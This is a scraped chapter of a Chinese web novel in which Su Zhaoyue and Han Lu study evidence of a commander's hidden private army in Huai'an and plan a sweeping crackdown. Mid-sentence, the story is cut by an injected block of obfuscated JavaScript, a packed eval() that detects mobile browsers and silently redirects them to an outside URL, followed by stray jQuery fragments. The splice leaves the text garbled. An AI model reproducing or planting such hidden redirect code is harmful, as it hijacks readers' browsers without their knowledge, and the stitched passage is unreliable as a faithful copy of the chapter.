114. 传承
作品:《黑莲花复仇记》 韩逯离开以后,苏照月独自一人坐在内室靠窗的软塌上,手中拿着医书,目光却落在窗外的洋槐上。
院子里的下人们今日似乎比往日更加谨慎,做什么事都轻手轻脚的,生怕吵到苏照月。
良久,苏照月才收回视线,目光从新落在医书上,还有最后一次药,得加快了。
约摸过了巳时,门外传来交谈声,不多时胡云的声音在外间门口响起:“夫人。”
苏照月轻轻叹了口气,起身出去。
胡云见到苏照月,躬身将手上那个用油纸和蜡封得严严实实的扁平油布包递了过来:“是徐同知那边差人送来的。”
苏照月微微愣了下神,往日里这样的线索不应该是直接送到韩逯那里吗,今日怎么会直接送到此处,“为何不送去漕运衙门?”
“来人说徐同知特意嘱咐,这几日淮安风声不对,漕司衙门……未必干净。属下这才想请夫人拿个主意。”胡云态度恭敬,仿佛眼前之人真的就是这里的女主人一般。
苏照月有些无语,这人态度转变还真是快,若是平日,他定然已经派人去告诉韩逯了。苏照月抬手接过油布包,“你亲自去趟漕司衙门,将此事告诉韩大人吧。徐洋此刻送来的东西必然重要,请他回来一趟。”她语气平静,听不出波澜。
“是。”胡云领命去了。
苏照月看了看手中的油布包,没有犹豫,转身便将它放在了韩逯的书案上最显眼的位置,然后从内室取了刚刚的医书,在外室的软塌上坐下。
但她手中医书许久都未翻动过一页。徐洋与韩逯联系必然有隐秘的途径,今日竟然将东西直接送到了此处,又明确表面漕司衙门不干净,看来淮安如今的局势比她想的还要糟糕些。
她端起旁边矮几上的凉茶喝了一口,压下心中的情绪,这次才真正看起医书来。
不知过了多久,院外传来熟悉的脚步声,比平日更加急促一些。
韩逯进来,一眼便看到了书案上的油布包,然后他转头看向一旁的苏照月,“徐洋送来的?”
“嗯。”苏照月抬头看他,面色平静。
韩逯大步走过去,拿起油纸包,然后取出一把匕首,划开蜡封,层层拨开油纸,里面是厚厚一叠写满字的纸,还有好几本账簿。
他取出纸张,迅速翻阅起来,神色渐渐凝重,眉头紧锁。苏照月看着他变化的神色,知道此次徐洋送来的东西绝不只是线索这么简单了,恐怕是能引爆淮安,震动整个朝廷的证据。
不知过了多久,韩逯才放下最后一张纸。他抬起手,用拇指和食指揉了揉眉心,似乎是在消化徐洋传递来的信息。
片刻后,他放下手,看向苏照月,“你过来。”他将书案上的纸理了理。
苏照月依言走过去,在案边站定。韩逯将那叠厚厚的纸往她身前推了推,“看看吧。”
她拿起那叠纸,一张一张看下去,越看越心惊。
白凡麾下的私军在九百至一千一之间,隐匿身份的手段十分巧妙。他们化整为零,有多重身份。近四百人挂名在永丰、昌隆等七家漕帮商号下,作为力工、护船丁壮,由商号统一支取工钱。但是徐洋探知,这四百余人从未参与过码头的货物装运卸载,反而在城东永丰商行废弃的仓库集中居住、操练。
另外有三百人余人,分布在白凡名下的四处庄园中,以护院身份存在,但这三百人却从不参与庄园巡逻护卫,反而集中在城外柳庄,作息和训练与军营无异。
剩下的两百到三百人,身份最为隐秘,表面上是城中商号的伙计,但是其实常驻一处白凡名下的私仓。这司仓从表面看没有任何异常,但是徐洋派线人查探,却发现这处私仓内深挖地窖,囤积粮秣、药材,并设有打铁炉、皮匠台,深夜有敲击之声。
这些人每逢初一十五,必以“漕帮祭河神演武”、“乡社排练驱傩戏”等名头,于码头僻静处或云台寺后山聚集。徐洋曾亲自摸到云台寺后山,远远观望过,他们的演练绝非寻常演练,而是小队进退掩护,弓弩远近配合,乃至以旗幡竹哨传递简单讯号。
这完全是军中的演练方式,苏照月握着纸的手微微收紧。她又接着往下看。
这些人的衣食住行,皆成体系。所食之物由泰和米行定期定量定点配送,采买单据显示,每日耗米近十石,豕肉过半扇,绝非干力气活之漕工或寻常护院所需。其衣物鞋履,由彩衣坊承制,样式皆为深灰短打、黑布绑腿、千层底布鞋,近三年已定制两千余套。伤病医药,则定点于百草堂,采购多为金疮散、跌打膏、祛寒丸及大量止血布条,用药量与小型营头无异。
银钱则由裕泰昌经受,由王七刀每月定时支取,数额在三千两上下。其款项源头,与白凡名下多处产业之盈利及数笔不明来路之巨款混杂,难以厘清。
此外,徐洋还有一项发现,在胡啸居住的猫儿巷,在他遇害前后,有人看到面白无须之人出现,徐洋猜测这些可能是东厂之人。但是奇怪的是,这些人拿了呼啸并未回东厂的据点,而是从侧门进了总兵衙门。
最后,徐洋提到,白凡近日,举动反常。各处私兵操练加紧,开始暗中变卖部分边缘产业,田庄和商铺皆有,且均要求现银或裕泰昌的本票交易。其名下核心资产与裕泰昌的资金划转骤然频繁,数额巨大,似在归拢财力。
在信的最末端,徐洋提到了高才,调任扬州知府,已于一月前到任。
苏照月放下手中的纸,心沉入谷底,淮安的局势果然糟糕,白凡的势力比她预想的更加庞大,运作也更加周密。
“你怎么想?”韩逯看向她。
苏照月沉默片刻,抬眸看他,声音平静:“这近千人的私
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089532|190346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兵,训练有素装备精良。除此之外,他身为淮安总兵,明面上能调动的兵力也不在少数,况且还有赵罡那两千的私兵。”
她顿了顿,继续说道:“这些人,从装备到补给,都已经自成体系,绝非一日之功。”
她的手指指在纸上“面白无须”几字上:“东厂之人在总兵衙门如入无人之境,廖学元恐怕不止是被胁迫这么简单了。此事恐怕牵连甚广,所涉绝非普通朝臣。”
韩逯看着苏照月,瞳孔微缩,他没有想到苏照月看到的比他预想的还要深入,她的话条理清晰,直指要害。
“所以呢?”韩逯又问。
苏照月沉吟片刻,“所以,寻常查案,按部就班,已不可行。”她眼神锐利:“白凡如今的异动说明他已有所警觉,他要么准备逃命,要么准备殊死一搏。可普天之下莫非王土,他筹谋多年,赌上身家性命,怎么可能轻易放弃。况且,他手握私兵,又有驻军,若是他狗急跳墙,以总兵之权煽动驻军,再合以此悍不畏死之私军,足以在顷刻间让淮安陷入大乱。”
她的声音不高,却字字清晰:“若是要动,则必须以雷霆之势同时完成三件事。第一,要以迅雷不及掩耳之势控制白凡本人,夺其兵权;其次,集中绝对优势且可信的兵力,在同一时间,剿清其私兵据点,务求全歼;其三,汴州赵罡处还有其资金命脉也需要在同一时间处理。否则,后患无穷。”
她的策略周全,几乎与韩逯心中所想不谋而合。韩逯看向她,没有说话,眼神复杂。他知她绝非常人,知道她心思缜密,不然也不会将自己骗过。但他之前只是认为她背负血海深仇,迷凰楼的经历使然。
然而此刻,她看完徐洋的信,面对淮安的危局,没有慌乱,没有畏惧,十分冷静地抽丝剥茧,直指要害,并且提出的方案完整高效。这已经不是什么心思缜密就能解释的了,她的眼光和格局绝非一般。
沈契的身影突然撞进他脑海中,十年前,他还是锦衣卫千总,便听闻沈契用兵,善察细微,尤擅以雷霆之势直捣要害,常能以少胜多,出奇制胜。他统领朔北军时,军纪森严,对后勤、情报、乃至人心向背的把握,都精细入微。眼前的人,竟然让他看到了沈契的影子。
血脉似乎真的可以传承,不仅是长相,还有这份应该属于沙场将领的谋略与决断。
这个认真让韩逯心头一震,一种棋逢对手的凛然与忌惮悄然而生。他看着她苍白的脸,此刻明亮如寒星的眸子,或许此刻的她更接近真正的她。她背负的不仅是血海深仇,或许还有更深沉、更伟大的,属于她父亲那一脉的眸中遗志。
这个念头让韩逯心头闪过一丝警觉,但更多的是点燃了混杂着危险和兴奋的斗志。
“你说得对。”他开口,声音低沉却更加有力,“寻常路数行不通了,淮安的网必须一次撕破。”

